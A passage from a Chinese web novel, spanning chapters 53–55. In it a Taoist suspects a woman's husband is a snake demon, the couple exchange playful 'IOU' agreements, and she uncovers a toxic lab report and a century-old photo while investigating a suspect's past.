王阿婆点了点头,“没错啊,她说她老公运气好,之前掉悬崖会卡歪脖子树,喝农药结果农药是假的,花盆砸下来他都能正好躲过去。” 她顿了顿,又觉得说的不太准确,改口道:“不过这种事情也不能说是运气好吧,只能说他命很硬。” 毕竟要真的是运气好怎么会不小心掉悬崖喝农药被花盆砸。 纪云飞闻言若有所思,喃喃道:“这未免也太奇怪了吧……” “是吧,你也觉得奇怪是不是。” 王阿婆闻言环视了一圈四周,她把纪云飞悄悄拉到旁边,压低声音道:“之前我就觉得有点不对劲,你说人怎么会无缘无故倒霉到这种程度。” “你说这会不会是那个小姑娘故意下的手啊?” “……什么?” 纪云飞意识到王阿婆是误会了自己的意思,他连忙摆手想要解释,可是王阿婆自顾自道:“你说这种事情我们要不要报警啊,主要是我们也没证据,到时候别事情没个结果,反而给自己惹了一身腥……” “奶奶,您先回去吧,这件事情我会看着处理的。” 纪云飞没办法,只能好声好气把王阿婆给哄走,再三保证自己一定会想办法妥帖解决这件事情。 他脚步匆匆赶回了道观,可是姻缘树下早就不见兰稚青和沈寂的身影,他找了一圈,只向正在卖木牌的人打听道:“李师兄,刚刚我有两个朋友过来了,你有看到他们吗?” 李师兄闻言随口道:“哦,他们刚刚好像是说要去吃素面,不知道现在还在不在。” 纪云飞和对方道了声谢,他给兰稚青发去了消息,可是兰稚青却一直没回,他只能绕着整个道观找了一圈,最后终于在吃素面的小棚子里找到了她的人影。 兰稚青正抱着面碗埋头苦吃,一直跟在她身边的沈寂却不见了踪影。 纪云飞松了口气,他直接坐在了兰稚青的对面,没好气道:“你怎么也不接电话,我差点以为你已经走了。” “不好意思,你一直没回来,我的手机静音没有听到。” 兰稚青随手拿起纸巾擦了擦嘴,对纪云飞的态度隐约有些冷淡。 纪云飞倒也没介意,他直接敞开天窗说亮话,直接道:“你之前说让我帮你解梦,现在可以说一下你做了什么梦了。” 兰稚青皱了皱眉,大致把自己这一连串的连环梦告诉了纪云飞,末了,她欲盖弥彰补充道:“不过这也有可能是我最近精神太紧张了。” 纪云飞看向她的表情似乎有些古怪,在她说话的过程中,他一直在用一种奇怪的眼神打量着她。 这种眼神让兰稚青觉得有些不太舒服。 总会让她想起之前于琦被人谋杀,她被当成凶手带到警局的审讯室,那时审讯她的警官就是用这种略带怀疑的探究眼神打量着她。 “你身上的蛇味好像淡了很多。” 在兰稚青即将爆发之前,纪云飞突然冷不丁地开口,“他正处于蜕皮期吗?” 兰稚青闻言一怔,她略带迟疑地摇了摇头,解释道:“不是,我们家的蛇前几天送去国外治病了。” 她闻了闻自己身上的味道,疑惑道:“你说的蛇味到底是什么味,为什么我什么都闻不到?” “只是用鼻子闻当然闻不到。” 纪云飞似乎并不打算在这个问题上做过多的解释,他压低声音道:“你听好了,我这不是在开玩笑,你家里的蛇不是普通的蛇,而是蛇妖。” “……蛇妖?” 兰稚青一脸茫然,她下意识解锁了自己的手机,从相册里翻出了白蛇的照片,犹豫道:“你是在说它吗?” 照片上大白蛇戴着红色的小帽子趴在汉堡窝里,周遭还放着好几个红彤彤的大苹果。 虽然它很聪明确实没错,但是这样一条每天只知道吃苹果看动画片的大胖蛇会是蛇妖? 兰稚青真的有一点怀疑纪云飞的判断。 纪云飞接过手机看了一眼,他随口问道:“这条蛇一直都是你养的?” “不是,之前是我老公养的。” “你老公……说起来,你不觉得你老公也很不对劲吗?” 纪云飞努力让自己的用词比较委婉,他开口道:“我奶奶说,你之前找她算命的时候说过,说他的运气很好,怎么死都死不成。” “……” 兰稚青张了张嘴,看起来似乎有些欲言又止。 纪云飞喝了口水,继续道:“或许我接下来说的话可能会有点直接,但我不打算瞒你,这条蛇很有可能只是障眼法,而真正的蛇妖可能早就化为人形藏在你的身边,而这个人显而易见,十有八九就是你老公。” “人妖殊途,你若是不想日后死于非命,我建议你还是早做打算比较好。” 兰稚青脸色僵硬,干巴巴问道:“什……什么打算。” “凭我一人之力自然无法奈何这种已经可以修成人形的蛇妖,你若是肯信我,我便带你去见我师父,他见多识广,必然可以想办法解决此事。” 纪云飞一口气喝完了杯子里的水,随口问道:“对了,你老公去哪里了,怎么一直没看到他人影?” “我在你的身后。” 旁听完纪云飞所有话的沈寂幽幽开口,纪云飞闻言猛然起身回头,由于动作太大,还不小心碰翻了桌子上放抽纸的木盒和自己坐的长条板凳。 周遭的人听到巨响都一脸诧异地看了过来,沈寂把手里温热的雪梨银耳放到兰稚青的面前,俯身捡起了抽纸盒子,看起来丝毫没有被纪云飞所说的话影响到。 “你……你……” 纪云飞有些警惕地后退了一步,下意识和沈寂拉开了距离。 “纪云飞先生……对吗?” 沈寂似乎仔细思考了一下,才喊出了对方的名字,他神色有些无奈,温声道:“虽然我不知道自己哪里得罪你了,但是你这么污蔑我是不是有点太过分了。” 兰稚青坐立难安,不知道自己这个时候该不该出声。 纪云飞看到沈寂明显也有些讶异,他的视线有些犹疑地在沈寂的身上转了几圈,神色隐隐闪过一丝茫然,像是对自己的判断产生了些许的怀疑。 沈寂大大方方任由他打量,甚至开口道:“你若是无法辨别,也可以请你师父过来。” “抱歉,或许是我弄错了。” 纪云飞沉默了许久还是主动开口道歉,他从自己的口袋里拿出了一小块桃木牌放到兰稚青的面前,解释道:“这个可以辟邪,你可能是无意沾染了妖怪的味道,戴上这个可以会好一些。” “……谢谢。” 兰稚青本来还想说些什么,可是纪云飞却匆匆离开,完全没给她继续说下去的机会。 沈寂垂眸看向她,语气里听不出什么异样,只是问道:“宝宝,吃饱了吗?” “……吃饱了。” “那我们回家吧。” 兰稚青闻言连忙手忙脚乱站了起来,快步跟上了沈寂的步伐。 根据她以往的经验来判断,沈寂多半是生气了,想想也是,好好来一趟道观,莫名其妙还要被怀疑物种问题,换谁心里都会不舒服。 兰稚青自认理亏,她小心翼翼扯住了沈寂的衣角,小声道:“ 你生气了……” 沈寂冷哼了一声,不情不愿道:“……我才没有。” “……” 哪里没有了,这明明就是生气了啊。 兰稚青试探性牵住了沈寂的手,见他没拒绝立马又顺着杆子往上爬,软声道:“别生气啦,纪云飞不是跟你道过歉了,都是误会,我也给你道歉好不好?” “如果我不是人,那你是不是就不要我了。” 沈寂停下了脚步,他眼圈微红,侧头看向兰稚青,“你之前明明说过哪怕我变成一块面包狗你都会喜欢我的。” 兰稚青:“……” 她竟然还说过这种话?! “我当然会一直喜欢你啊,就算你真的是蛇妖我也喜欢你。” “你才不会,你明明就是在骗我。” 沈寂闻言移开了自己的视线,轻声道:“你根本就是物种歧视,如果你是兔兔,我是人类,那你就会去找其他兔子结婚,还是不会和我在一起。” 物种歧视好大一顶帽子就这么扣了下来,直接把兰稚青砸得头晕目眩。 她急于为自己辩解,所以脱口而出:“如果我不是人类是兔子,那我还是会努力修炼成人和你在一起的。” 沈寂闻言看了她一眼,那双漂亮的眼眸被眼泪浸湿,看起来更加楚楚可怜,勾得人找不着北。 “那你会和我亲亲抱抱吗?” “当然会!” “那你会和我一起做更加亲密的事情吗?” “当然!我肯定会和你结婚的。” “那你今晚穿兔兔女仆装给我看。” 沈寂擦了擦自己的眼泪,补充道:“要尾巴上带铃铛的那一种哦。” 兰稚青:“……” 现在反悔还来得及吗。 第53章 第53章你要写一张欠条给我 “云飞,你今天还下山吗?” 道观的开放时间是早九到晚五,眼见着马上要到下班的时间,再加之天空又飘起了细密的雨丝,李师兄提前收起了姻缘树旁的摊子。 他见纪云飞走出道观,随口道:“你要是下山的话顺路给我带盒卤豆干上来呗。” “行,还是上次那家对吧。” 纪云飞主动帮着李师兄一起收拾摊子,李师兄把角落里的一个手机坠子递给了他,解释道:“这东西是不是你那个朋友的,我看掉在姻缘树底下了。” “是吗?我发个消息去问问吧。” 手机坠子本来也不是什么贵重的东西,不过对于当事人来说有可能会有纪念意义。 纪云飞随手接了过去,拍了个照片发给兰稚青,想要确认这是不是她的东西。 而后他就看到了屏幕上醒目的红色感叹号。 【你不是对方好友,请先发送朋友验证,通过后才能聊天。】 “……” 兰稚青就这么水灵灵地把他删了?! 纪云飞觉得自己的脸色都快绷不住了,李师兄见他脸色不对,问道:“咋啦,不是你朋友的?要不是的话我就拍照片挂失物招领了。” “直接挂失物招领吧,她把我删了。” 纪云飞把那个手机坠子扔回了桌子上,没好气道:“到时候让她自己回来找吧。” “把你删了?为啥啊。” 李师兄闻言有些好奇,八卦道:“那到底是你什么人啊,初恋女友?” “什么初恋女友,就是我之前说过的那个身上带着妖气的女生。” 纪云飞皱了皱眉,犹疑喃喃道:“本来我是怀疑她老公的,但是为什么会一点妖味都没有……” 李师兄听到纪云飞又在神神叨叨说什么妖不妖的,他不由得轻轻叹了口气。 纪云飞虽然平时打扮得像个杀马特,但是他年纪小性格好嘴甜会做事,平时道观里大家都挺喜欢他的,但唯有一点不太好。 那就是纪云飞实在太中二了。 他虽然说是个正儿八经领工资的道士,但是他不接受道号,动不动就说什么妖怪不妖怪,看起来神经兮兮的。 听观里的老道士说,纪云飞这是有天眼,所以才能感受到旁人感受不到的事情,包括他从名牌大学毕业后,直接就来了道观拜师当道士,一是为了物尽其用,二是为了自保,免得被脏东西缠上。 对于他被小姑娘删掉好友的遭遇,李师兄深表同情,他喝了口水,随口问道:“你和人家都说什么了啊。” 纪云飞老老实实道:“我说她老公可能是蛇妖,问她要不要早做打算。” 李师兄一口水直接呛住,他扶着墙咳嗽了几声,略带同情道:“纪法海,你要小心点,指不定过两天反诈中心的警察就来找你了。” 纪云飞:“……” …… 兰稚青目前倒是真的没空去投诉纪云飞涉嫌诈骗,她像一条翻不动身的咸鱼泡在浴缸里,温热的水流包裹着她的全身,她整个人都昏昏欲睡。 昨天晚上和沈寂闹到半夜,今天又吭哧吭哧爬了个白龙山,她觉得自己整个人都快散架了。 “宝宝,你还没有洗好吗?” 沈寂许久都没有等到兰稚青出来,他在外面轻轻敲了敲门,提醒道:“不要泡太久了。” 昏昏欲睡的兰稚青闻声迷迷糊糊睁开眼睛,她揉了揉自己酸疼的小腿,整个人都像是被吸干了一样蹒跚起身。 她在兔兔女仆装和浴袍中间犹豫了许久,还是默默拿浴袍把自己严严实实裹住。 沈寂拿着铃铛非常矜持地等在外面,看到兰稚青出来立马兴奋地迎了上去,可是却没有看到自己想看到的画面。 “你又说话不算数。” 他有些委屈,开口道:“不是说好穿兔兔女仆装的吗?” “可是我今天爬山爬得好累,腿又疼又酸……” 兰稚青有点欲哭无泪,商量道:“先欠着好不好?” “好吧。” 沈寂不情不愿答应了下来,直接把兰稚青抱到了床上,微凉的手指顺势摸上了她的小腿。 兰稚青瑟缩了一下,下意识想要挣扎,连忙道:“不是都说好欠着了吗?” “乖乖,我只是打算帮你按摩一下小腿。” 沈寂一脸惊讶地看了她一眼,不太赞同道:“你怎么满脑子都是坏坏的事情。” 兰稚青:“……” 沈寂说这种话自己真的不会觉得心虚吗? 鉴于沈寂的按摩手法确实很舒服的份上,兰稚青决定自己暂时还是不要揭开沈寂虚伪的假面。 肌肉的酸疼渐渐缓解,兰稚青闭眼躺在床上,一时间又有些昏昏欲睡。 沈寂放轻了声音,柔声道:“宝宝,舒服吗?” 兰稚青哼唧着应了一声,实际上根本连沈寂说了什么都没有听清。 “那你要写一张欠条给我哦。” “嗯……欠条?” 兰稚青闻言有些茫然地睁开眼睛,她愣了一下,疑惑道:“什么欠条?” “你答应我的兔兔女仆装呀。” 沈寂一本正经道:“万一你下次不认账了怎么办。” 兰稚青眨了眨眼,犹豫道:“欠条……没必要吧,我又不会说话不算数。” 反正她不补上当老赖,也会被沈寂强制执行。 沈寂闻言抿了抿唇,神色又隐隐带上了委屈,他也不说话,只是用那双漂亮的眼睛静静盯着兰稚青,看起来颇有几分兰稚青不答应他就不放弃的架势。 兰稚青没办法,只能顶着困意答应道:“我写,我写还不行吗?” “那你在这里写。” 沈寂闻言立马喜笑颜开,他拿出自己早就准备好的本子和笔,温声道:“我说一句你写一句。” 兰稚青点了点头,认命般地默默起身接过了笔。 沈寂慢条斯理道:“本人兰稚青,欠老公一次兔兔女仆,一次蕾丝小羊,一次围裙狗狗……” “等一下。” 兰稚青连忙开口打断了沈寂的话,难以置信道:“不是只有兔兔女仆吗?” 沈寂面不改色道:“兔兔女仆是本金,其他的是利息,如果你不想加利息,那你今天把本金付了不就好了。” “……” 大小姐放高利贷的德行怎么还是没改。 兰稚青很想现在就把本子砸到沈寂的脸上……算了,还是砸身上,砸到脸有点可惜。 她在脑子里构想了一遍自己砸上去的场景,然后非常没有出息地忍气吞声按照沈寂的意思写了上去。 沈寂继续开口道:“兑现场所包括但不限于卧室,客厅,书房,浴室……” 兰稚青:“……” 怎 么突然感觉硬硬的,哈哈,原来是她的拳头硬了。 兰稚青咬牙在纸上按照沈寂的意思写下。 大不了到时候就赖账,实在不行就往后拖,俗话说的好,债多不压身,她死猪不怕开水烫,就不信沈寂真的能拿她怎么样。 “本人将于两个月之内还清所有债务,如有延迟,则债主有权要求增加利息并索要赔偿,欠条最终一切内容解释所有权归债主所有。” 沈寂一口气说完了全部的内容,兰稚青神色僵硬,迟迟不肯动笔,她抗议道:“后面的未免太过分了吧!” “这是对我个人权益的保障条款,只要你不赖账是不会用上的。” 沈寂闻言看了她一眼,诧异道:“还是说你本来就有赖账的想法?” 被戳中心事的兰稚青:“……” 她有些心虚地别开了自己的眼神,默默在纸上写完了欠条,签上了自己的大名。 沈寂得偿所愿,他满意将这张欠条收好,这才躺回床上抱着兰稚青亲了一口。 兰稚青没理她,她自顾自钻进了被子里,只给沈寂留下一个背影。 沈寂拿到了自己想要的保障,他随手关上了灯,满足地抱住了她,轻声道:“晚安。” 兰稚青默默闭上眼睛准备睡觉,可是不知道是不是因为被沈寂那张欠条气的,还是她今天实在累的有些超额,她总觉得自己翻过来覆过去就是死活睡不着。 好烦,想睡的时候偏偏又睡不着了。 都怪沈寂,要不是他一直让她写欠条,她早就已经躺下睡大觉了。 兰稚青在黑暗中非常窝囊地翻了个身,被子无意识擦过了她的腿根,她下意识夹了一下腿。 ……总感觉身体怪怪的。 都怪沈寂,她一定是被沈寂带坏了。 兰稚青觉得自己的心像是被爪子挠了一样发痒,她想要自己动手,但是她又实在觉得累得慌。 可是如果现在把沈寂叫醒……那到时候又会被讹上。 要是她可以有一个可以解决需求而且能由自己控制还不累的东西就好了。 兰稚青犹豫了片刻,她默默从旁边摸出了自己的手机,准备好好看看测评博主的介绍做做功课。 【今天来给粉丝宝宝们介绍女生最值得拥有的小玩具……】 兰稚青刚刚点开视频,博主的话就直接被外放了出来,她吓得赶紧把手机静音,悄悄转头去查看沈寂的情况。 沈寂还在沉睡,似乎并没有因为她刚刚的视频声音被吵醒。 兰稚青这才勉强放下心来,她把自己的手机音量关闭,亮度也调到最暗,津津有味开始看起了介绍视频。 吮吸,震动,远程控制…… 兰稚青仔仔细细研究着不同产品的不同功能,连看了好几条测评帖子,最终才选出了自己最想要的。 她悄咪咪下单付款,甚至还确认了好几遍她走的不是沈寂的账户,等到做完这一切,她才终于心满意足地关上手机准备睡觉。 或许是因为解决了一件很重要的事情,兰稚青觉得自己的困意也渐渐袭来,她窝在被子里,不出几分钟便安稳进入了梦乡。 沈寂听到她的呼吸逐渐平稳,他才缓缓睁开眼睛,在黑暗之中静静打量着兰稚青。 他不知为何轻笑了一声,凑过去亲了一口兰稚青的脸颊,这才重新抱着她一起睡去。 兰稚青对晚上发生的事情全然不知。 她早上一觉睡醒的时候沈寂早就已经不在她的身边,似乎是今天早上学校有课。 最近学校开学,各种乱七八糟的事情也多得不得了,幸好她现在已经快毕业,除了写毕业论文之外也没什么需要做的。 兰稚青打开手机,发现沈寂又像是轰炸一样给她发了一大堆的消息。 Schlange:【好烦,又要工作,一出家门就烦。】 Schlange:【兔兔哭泣.jpg】 Schlange:【不想干了,好想辞职QAQ】 Schlange:【还没醒吗?】 Schlange:【兔兔委屈.jpg】 …… 兰稚青看的头晕眼花,只能匆匆给沈寂回了个亲亲的表情包,试图把他敷衍过去。 果然不管是老师还是学生,去上早八的课都会烦得不得了。 她扫了一眼时间,觉得时间还早,还能继续睡个回笼觉,刚刚准备钻回被窝,却发现之前帮她检验药品的研究所又发来了消息。 【您上次说我们的未知物检测有问题,我们这边非常重视,所以又联系了另一家研究所对剩下的样本进行了合作检测,对一些缺漏进行了查补,以下是检测报告和相关实验证据。】 研究所的工作人员发来了一份更加详细的检测报告,还有几个短暂的视频。 兰稚青皱眉点开了报告,上面乱七八糟的专业名词晃得她头晕,只看懂了剧毒两个字。 实验视频上,小白鼠接触到剂量极小的药物,几乎是在瞬间就断气,看起来似乎也没有作假的痕迹。 ……可是沈寂不是说那些是保健品吗? 兰稚青百思不得其解,只能发消息问道:“这种东西能毒死成年人吗?” 对面似乎对这个问题有些犹豫,聊天框上对方正在输入六个字停了很久,最后才发来一句:【毒死一百个不成问题。】 “……” 兰稚青眉头紧皱,越看越觉得疑惑。 如果是之前,她可能确实会相信研究所的说辞,但是她和沈寂明明都吃过了,现在还不是依旧安然无恙。 还是说这种东西放久了变质才会产生剧毒? 她本来以为自己看到了真相,可是现在却发现还是被重重疑影包裹,她就像是走在迷雾之中,只能凭着本能去摸索前面的路。 兰稚青思索了很久,最终还是好奇心占据了上风。 她记得上一次沈寂把药放在书房里,兰稚青起身下楼去书房翻找,想要再找到一瓶一模一样的药品进行检测。 可是这一次她明显没有上回那么幸运,翻遍了所有抽屉甚至书房的每一个角落也没有看到小玻璃瓶的踪迹,反倒是把她自己给找累了。 兰稚青靠坐在椅子上,随手从旁边的书架上抽出了一本书,刚刚打开书页,一张薄薄的黑白照片突然从里面掉了出来。 “这是什么东西……” 兰稚青有些纳闷地俯身捡了起来,发现这张是沈寂的照片。 照片因为年代久远已经变得有些泛黄,但是由于保存良好,上面的图像依旧清晰无比。 照片上的沈寂站在玫瑰花丛旁,头上还带着礼帽,容貌与现在几乎别无二致。 兰稚青随手将照片翻了过来,看到上面的落款微微一怔。 拍摄时间是上个世纪…… 这是一张一百年前的照片?! 兰稚青一时震惊,还未来得及回过神来,身后却又传来熟悉的声音。 “宝宝,你在看什么呢?” 第54章 第54章老黄瓜刷绿漆 兰稚青闻言猛然回头,猝不及防对上了沈寂笑意盈盈的面容。 她身形一僵,下意识想要把手里的照片藏起来,可是却被沈寂轻轻松松伸手接了过去。 “宝宝,你在看什么看的这么认真?” 沈寂垂眸扫了手里的照片一眼,神色没有半点破绽,随口道:“都是些陈年的老照片了,你怎么突然开始看这些了。” 他环视了一圈书房的一片狼藉,抽屉大敞,桌上也被翻得乱糟糟的,看起来兰稚青像是在翻找什么东西,他顿了顿,问道:“你是在找什么东西吗?” “是,我……我的手机挂件丢了。” 兰稚青结结巴巴解释道:“就是我挂在手机上的小煤球挂件,我找不到了,所以想来书房找找。” 沈寂闻言怔了一下,笑道:“小煤球不是昨天去白龙山的时候弄丢了吗,怎么跑到书房来找了。” “因为……因为我还有另一个小煤球……” 兰稚青觉得自己大脑一片空白,她只能搬出一个拙劣无比的借口遮掩,而后立马岔开话题,“你怎么突然回来了?” “突然?” 沈寂闻言一怔,他无奈道:“我今天只有上午有课,已经给你发过消息了,你没有看到吗?” 兰稚青轻轻摇了摇头,她紧张地时候就喜欢揪自己的衣角。 她觉得沈寂的身上藏着很多秘密,她现在才猛然后知后觉地意识到,自己对沈寂的事情全都一无所知。 他的家庭,过往,甚至他的所作所为,就像是被迷雾所包裹 ,她完全看不真切。 兰稚青很想直接开口问沈寂那些药到底是什么东西,但是她又害怕自己的怀疑会让沈寂伤心,所以思来想去,她只能小心试探道:“你的那张照片……” “照片?那怎么会是我的照片。” 沈寂将照片的背面翻过来给兰稚青看,解释道:“这都是上个世纪的照片了,是我曾祖父早些年在国外做生意的时候照的。” “曾祖父?” 兰稚青闻言愣了一下,明显没想到会是这个结果,干巴巴道:“你……你们家基因这么稳定啊。” 沈寂的曾祖父和沈寂竟然长得一模一样,兰稚青拿过照片仔细对比了一下,试图看出二者的区别。 沈寂家不仅是从爷爷的爷爷的爷爷的爷爷的爷爷就一直有钱,沈寂甚至还和他爸爸的爸爸的爸爸共用一张脸。 “只是凑巧而已,毕竟我和我父母长得不太像,算是隔代遗传吧。” 沈寂从手机上找出父母照片给兰稚青看,兰稚青凑过去看了一眼,发现他们确实和沈寂不怎么相像。 虽然沈寂对她的家庭情况了如指掌,可是兰稚青和他认识这么久,还是第一次听他主动提起自己的父母。 她眨了眨眼,小声道:“我还是第一次看到你父母的照片呢。” 沈寂眼眸轻垂,轻声道:“我父母在我刚出生不久就先后过世了,其实我也没有见过他们的样子。” 这话倒不是撒谎,他亲生父母连带着祖宗十八代可能几百年前就不知道在哪里被雷劈死了。 他说这话的时候声音微微颤抖,垂下的眼睫挡住了他眼底的情绪,但是却依旧能看出他的脆弱和伤心。 兰稚青意识到自己刚才的话可能是在揭沈寂的伤疤,她也顾不得剩下的疑惑和不解,连忙凑过去抱住了沈寂轻声细语的安慰。 “别伤心了,你现在有我了,我就是你的家人,会一直和你在一起的。” 沈寂伏在她的颈窝默不作声,顺势虚假地掉了几滴虚假的眼泪。 兰稚青感受到他落泪,她顿时手忙脚乱,学着之前沈寂安慰她的样子好好安慰她,早就把自己最开始想问的问题抛到了九霄云外。 她贴过去有些笨拙地轻轻亲沈寂的脸颊,沈寂装模作样矜持了一会儿,又把她抱进了怀里,鳄鱼的眼泪该掉还是得掉,但是嘴上亲得却一点都不含糊。 白送上门的兔兔饼,不趁机多咬几口就是傻子。 兰稚青被沈寂亲得迷迷糊糊的,最后莫名其妙被沈寂压到了书桌上,她盯着天花板眨了眨眼,似乎还在迷茫事情到底是怎么发展到这一步的。 “等……等一下。” 在沈寂的手指已经碰到她睡衣纽扣的瞬间,兰稚青像是突然惊醒,她连忙推了推沈寂,示意他松开自己。 沈寂那张漂亮的脸上还带着泪痕,他可怜巴巴地看着兰稚青,兰稚青差点又要心软,但是发现沈寂一边哭一边偷偷把手指往她衣服里面伸,她立马撤销了自己的同情心。 幸好她的同情还没超过两分钟,还有机会可以撤回,否则两分钟之后沈寂很有可能就已经把她扒干净了。 沈寂见自己的计划落空,他也丝毫不恼,伸手便把兰稚青直接从书桌上拉了起来,看起来并不打算违背她的意思。 兰稚青连忙整理了一下自己的衣服,欲盖弥彰道:“我还是腿疼,这种事情还是以后再说吧。” “嗯,我都听你的。” 沈寂表现得格外乖顺,他弯了弯眉眼,认可道:“纵欲伤身,正好这两天多休息一下,这才是养生之道。” 这种话竟然是从沈寂的嘴里说出来的,兰稚青有些怀疑地看了他一眼,总觉得他又在憋着什么坏水儿。 “……你是说真的?” “当然是真的。” 沈寂温吞笑了笑,“宝宝,我什么时候骗过你。” 兰稚青:“……” 骗她的事情那可多了去了。 “那你也写字据。” 兰稚青拿过纸笔塞到了沈寂的手里,催促道:“你写下来,免得你以后赖账。” 沈寂有些惊讶地看了她一眼,兰稚青有些心虚地视线躲闪,“我这都是和你学的,只准州官放火,不许百姓点灯吗?” “好吧,你要让我写什么。” “很简单的,我说一句你写一句。” 兰稚青闻言面色一喜,连忙开口道:“你就写本人沈寂,经过友好协商,与伴侣兰稚青达成协约,在未来半个月内修身养性,不进行任何口口行为……” “半个月?” 沈寂闻言微微一顿,他似笑非笑反问道:“我刚刚说的好像是这两天吧。” 兰稚青义正辞严道:“既然要修身养性,那就要好好保持,两天看不到效果的。” 反正她买的小玩具明天就到了,她要是忍不住了就可以趁着沈寂上班偷偷玩。 沈寂点了点头,非常听话地在纸上写下了半个月。 兰稚青又道:“本人如果违反协议,则协议方有权收回之前所欠的兔兔女仆,蕾丝小羊和围裙狗狗,并索要相关赔偿,协议一切解释权归兰稚青所有。” 图穷匕首见,原来是在这里等着他呢。 沈寂挑了挑眉,他没有对兰稚青的话发出质疑,而是非常认真地写完签字,并交给兰稚青检查。 兰稚青确认过沈寂没有在上面动什么手脚,她顿时喜笑颜开,仔仔细细把自己的护身符好好收了起来。 “对了,你爷爷的照片你有吗?” 兰稚青把地上的书捡了起来,随口道:“你爷爷是和你爸爸比较像吗?” “他们确实有一点像,不过我爸爸更像我奶奶,有机会我找照片给你看看。” 沈寂随便胡诌了几句,生怕兰稚青再细问下去,连忙主动岔开了话题,“不过说到照片……我今天顺便把你想要的资料给一起带回来了。” 他把放在一旁的文件夹递给兰稚青,解释道:“这是近三年以来你们学校心理咨询室工作人员的名单和资料。” “这么厚……我们学校心理咨询室有这么多人吗?” 兰稚青有些奇怪地打开文件夹看了一眼,她匆匆扫过了名单上的名字,干脆坐在地上一个一个开始排查。 她的手指缓缓下移,把可能有嫌疑的人的资料都给挑了出来,直到划到末尾,却突然发现一个熟悉的名字。 “路锡鸣?” 兰稚青愣了一下,奇怪道:“他也是心理咨询室的工作人员吗?” 沈寂点了点头,解释道:“他之前干过学生助理。” 兰稚青闻言连忙又去翻路锡鸣的资料,随口问道:“怎么把他也算进去了,他比我小一届,韩晓死的时候他应该都没有入学吧。” “他之前是你们学校心理学专业的,后来降级转了专业,入学比你还要早上一年。” 沈寂冷哼了一声,恶毒道:“我就知道他之前就是在故意装嫩,老黄瓜刷绿漆,一大把年纪了还装什么学弟,果然不是什么好东西……” 兰稚青对沈寂的突然拉踩早就已经习以为常,她翻到了路锡鸣的资料页,映入眼帘是一张陌生的面孔。 大饼脸,绿豆眼,蒜头鼻,五官因为肥胖而被挤到扭曲,神色阴恻恻地直视着镜头,看着有些诡异的吓人。 兰稚青被吓了一跳,她忍不住微微皱了皱眉,问道:“这人谁啊,怎么照片贴在路锡鸣的资料上。” “这就是你的那位黄毛学弟。” 沈寂顿了顿,又再度补充道:“更加准确来说,是十六岁之前的他。” 第55章 第55章不准亲我 路锡鸣是个丑八怪。 在路锡鸣十六岁之前,这样的话他早就已经听腻了,不管是那些阴奉阳违的亲戚,还是学校里虚伪的老师同学,他们表面上对他和和气气,实际上却都在背后悄悄议论他。 最开始的时候,他并不在乎,因为他是整个学校最有钱的人。 他的父母最开始只是开一家小超市,后来生意越做越大,逐渐成了市里出名的连锁超市,赚的盆满钵满。 他的爸爸长得不够帅,可是因为他有钱,所以他漂亮的 女秘书愿意和他在办公室亲嘴。 他的妈妈长得不够漂亮,可是因为她有钱,所以外面高大帅气的男模每天对她甜言蜜语。 由此可见,只要足够有钱,长相又算得了什么呢。 路锡鸣少年时期的确是这么想的,最开始他在市里排名数一数二的公立学校念书,那里的学生有警察的女儿,医生的儿子,也有教师的孙女和环卫工的孙子。 在这里的学生,大多成绩斐然,家境却各不相同,鲜少会有大富大贵。 路锡鸣身上的名牌外套,脚下踩着的名牌球鞋,以及他书包里装着的进口零食,包括他手上的水果手机,都足以引起大家的艳羡。 学校里的人都喊他叫哥,班上的班花被他送了几次礼物就想着做他的女朋友,校外的小混混知道他的名头,可是却连惹都不敢惹,因为每次放学,家里的司机都会开着百万豪车过来接他。 直到他的父母花钱把他转进了国际学校。 路父路母的想法很简单,他们认为他们现在是高端人士,在培养孩子上自然也要更加用心,送路锡鸣去国际学校,不仅可以提升他的素养,还能让他认识更多同阶层的朋友。 “之前我就想说了,你们班里都是些什么人家的孩子,一点素养都没有。” 路父在路锡鸣的面前说得唾沫横飞,“你们班经常得第一的那个女生,她爸妈是在校门口摆摊卖早点的,上次我过去开家长会,隔着老远就能闻到他们身上油腻腻的包子味了。” “儿子,人就是得多和自己同阶层的人交往才能有进步,天天和那样家庭出来的小孩当同学,实在是太掉价了。” 在说这种话的时候,这个大腹便便的中年男人早就忘了自己当年经营小超市的时候,也曾经是这些早餐店的常客。 就这样,路锡鸣高中从公立学校转到了私立的国际学校。 正如路父所说的那样,国际学校里的学生大多和他是同阶层的人。 他的班级里有企业高管的女儿,明星的儿子,慈善家的孙女和政府高官的孙子。 他们对路锡鸣的名牌外套和名牌球鞋不感兴趣,路锡鸣包里的进口零食和水果手机他们更是司空见惯。 包括路锡鸣一直引以为傲的百万豪车,在校门口众多豪车之中都变得土里土气。 从前在公立学校的时候,路锡鸣看不起自己身边的同学,如今换了地方,他的新同学们也看不起他。 他们从小接受着熏陶,戴上有钱人虚伪的素养假面,在面上不会做什么,可是背后里却议论纷纷。 他们说路锡鸣是丑八怪,多看一眼就会做噩梦,还说他是暴发户,穿再多名牌都改变不了身上那股穷酸气。 路锡鸣从来没有这样痛苦过,他甚至设想过要找人把那些人揍一顿,就像是他从前做过的那样,花几百块钱找小混混把人打一顿,对方家长找上门来,就扔给他们几万块钱息事宁人。 但是今时不同往日,如果他打了人,那么可能他们一家都必须要给对方卑躬屈膝赔礼道歉。 路锡鸣觉得屈辱,隐形的校园霸凌占据了他整整两年的时间,最后他忍无可忍,在高二那年选择退学,去国外花大价钱进行了整容手术。 他几乎把自己整张脸都给整了一遍,最后的效果也让他足够满意。 那张丑陋的脸彻底消失得无影无踪,他的新面孔阳光帅气,早就不见了当初半分的窘迫和自卑。 他用这张崭新的面孔参加了高考,顺利成为A大心理学的学生,加入了A大的心理社团,每学期都是专业第一,但在两年后不知为何又降级调换专业。 “心理社团……” 兰稚青盯着资料页上这一段经历陷入了沉思。 她猛然间想起了自己当时在专业课上见到路锡鸣时他说的话。 当时路锡鸣说:“我叫路锡鸣,我们之前一起参加过社团活动,不知道你还记不记得。” 竟然是他?! 兰稚青脑中飞快闪过一段记忆,之前周老师曾经建议她可以参加心理社团的活动放松解压。 A大的心理社团是所有社团里最特殊的,这个社团隶属于心理咨询室,面向A大所有学子开放,每月都会定期准备各种解压活动,所有人都可以报名参加。 当时她曾经去过一次,当时心理社团的副社长就是路锡鸣。 只不过那个时候他还是黑发,脸上还戴着口罩,所以她后来再见到路锡鸣的时候,完全没有将这两个人联系到一起。 也就是说,路锡鸣早就知道她有心理压力。 或者更准确来说,他有机会拿到A大心理咨询室所有受访者的名单和情况。 如果这样看的话,路锡鸣的确是嫌疑最大的人。 她又露出那种超级认真的凝重表情了。 